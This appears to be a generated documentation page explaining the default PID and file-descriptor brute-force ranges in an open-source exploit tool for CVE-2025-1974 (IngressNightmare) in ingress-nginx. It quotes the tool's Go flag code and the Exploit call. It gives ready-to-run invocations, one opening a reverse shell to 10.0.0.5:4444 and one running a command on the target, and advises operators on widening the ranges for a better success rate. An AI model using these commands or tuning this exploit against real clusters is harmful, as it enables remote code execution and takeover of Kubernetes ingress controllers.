# IngressNightmare Default PID and FD Ranges for Brute-Forcing Explained

> Discover the default PID and FD ranges 5-40 and 3-26 used for brute-forcing in IngressNightmare CVE-2025-1974. Understand these hard-coded values for successful exploitation.

- Repository: [Esonhugh Skyworship/ingressnightmare-cve-2025-1974-exps](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps)
- Tags: deep-dive
- Published: 2026-03-01

---

**IngressNightmare uses default PID range 5-40 and FD range 3-26 when brute-forcing the vulnerable ingress-nginx process, with these values hard-coded in [`main.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/main.go) at lines 104-108.**

The open-source exploit tool [esonhugh/ingressnightmare-cve-2025-1974-exps](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps) automates attacks against CVE-2025-1974 by guessing valid process IDs and file descriptors. Understanding the default PID and FD ranges for brute-forcing helps operators estimate scan duration and optimize success rates against target containers.

## Default Brute-Force Ranges

IngressNightmare iterates through process identifiers and file descriptors to locate the nginx master process. The tool ships with conservative defaults designed to balance speed against typical container runtime characteristics.

### PID Range Defaults

The exploit assumes the target process will fall within a narrow PID window:

- **Start:** `5` (flag `--pid-range-start` or `-S`)
- **End:** `40` (flag `--pid-range-end` or `-E`)

This creates a search space of 35 possible PIDs. The default start value of 5 skips early system processes while capturing most containerized nginx instances that spawn after initialization.

### File Descriptor Range Defaults

Once a candidate PID is selected, the tool brute-forces file descriptors using these boundaries:

- **Start:** `3` (flag `--fd-range-start` or `-s`)
- **End:** `26` (flag `--fd-range-end` or `-e`)

This generates 23 FD attempts per PID. The range begins at 3 (skipping stdin, stdout, stderr) and extends through typical open file limits in restricted container environments.

## Where the Defaults Are Defined

The default PID and FD ranges are registered as command-line flags in **[`main.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/main.go)** during the initialization of the `ExpCmd` subcommand. According to the source code at lines 104-108, the flag registration block explicitly sets these integer values:

```go
// Set guessed PID and FD ranges
ExpCmd.Flags().IntVarP(&Opts.PidRangeStart, "pid-range-start", "S", 5, "pid range start")
ExpCmd.Flags().IntVarP(&Opts.PidRangeEnd,   "pid-range-end",   "E", 40, "distance to pid range end")
ExpCmd.Flags().IntVarP(&Opts.FdRangeStart, "fd-range-start", "s", 3, "fd range start")
ExpCmd.Flags().IntVarP(&Opts.FdRangeEnd,   "fd-range-end",   "e", 26, "distance fd range end")

```

These values populate the `Opts` structure, which carries the configuration through to the core exploit logic.

## How the Exploit Consumes These Ranges

After parsing CLI arguments, [`main.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/main.go) passes the configured ranges directly to the `Exploit` function in **[`nginx-ingress/exploit.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/exploit.go)**. The function signature accepts both start and end values for both dimensions:

```go
nginx_ingress.Exploit(
    Opts.IngressWebhookUrl, Opts.UploadUrl, payload,
    Opts.FdRangeStart, Opts.PidRangeStart, Opts.FdRangeEnd, Opts.PidRangeEnd,
)

```

The implementation iterates through every combination of PID and FD within the supplied bounds, attempting to hijack the file descriptor until the payload executes successfully or the ranges exhaust.

## Customizing the Ranges via CLI Flags

While the defaults suit standard Kubernetes deployments, operators can override the PID and FD ranges using the short or long flag forms.

**Running with default ranges:**

```bash
./ingressnightmare ingress-nightmare \
  --mode reverse-shell \
  --reverse-shell-ip 10.0.0.5 \
  --reverse-shell-port 4444 \
  --ingress-webhook-url https://target/validate

```

**Specifying custom brute-force boundaries:**

```bash
./ingressnightmare ingress-nightmare \
  --mode command \
  --command "id > /tmp/pwned" \
  --pid-range-start 10 \
  --pid-range-end 100 \
  --fd-range-start 5 \
  --fd-range-end 50 \
  --ingress-webhook-url https://target/validate

```

This command expands the search to PIDs **10-100** and FDs **5-50**, useful when targeting long-running nodes where nginx might hold a higher process ID than the default window covers.

## Summary

- **Default PID range:** 5 to 40 (controlled by `-S` and `-E` flags)
- **Default FD range:** 3 to 26 (controlled by `-s` and `-e` flags)
- **Source location:** Hard-coded in [`main.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/main.go) lines 104-108 when flags are registered
- **Consumption:** Passed to `nginx_ingress.Exploit()` in [`nginx-ingress/exploit.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/exploit.go)
- **Override method:** Use CLI flags to expand or narrow the brute-force window based on target environment characteristics

## Frequently Asked Questions

### What are the default PID and FD ranges in IngressNightmare?

IngressNightmare defaults to PID range 5-40 and file descriptor range 3-26. These values are set during flag initialization in [`main.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/main.go) to target typical containerized nginx processes while minimizing brute-force time.

### How can I override the default brute-force ranges?

Supply the appropriate flags when launching the exploit: `-S` or `--pid-range-start` for the first PID, `-E` or `--pid-range-end` for the last PID, `-s` or `--fd-range-start` for the first file descriptor, and `-e` or `--fd-range-end` for the last file descriptor.

### Why does IngressNightmare use PID 5-40 and FD 3-26 by default?

These ranges reflect common characteristics of containerized ingress-nginx deployments where the controller process spawns shortly after container initialization (PID > 5) and maintains a limited set of open file descriptors (3-26) in restricted Kubernetes security contexts.

### Where are the default ranges defined in the source code?

The defaults are defined in **[`main.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/main.go)** at lines 104-108 within the flag registration block for the `ingress-nightmare` subcommand, specifically in the `IntVarP` calls that bind the `Opts` struct fields to command-line arguments.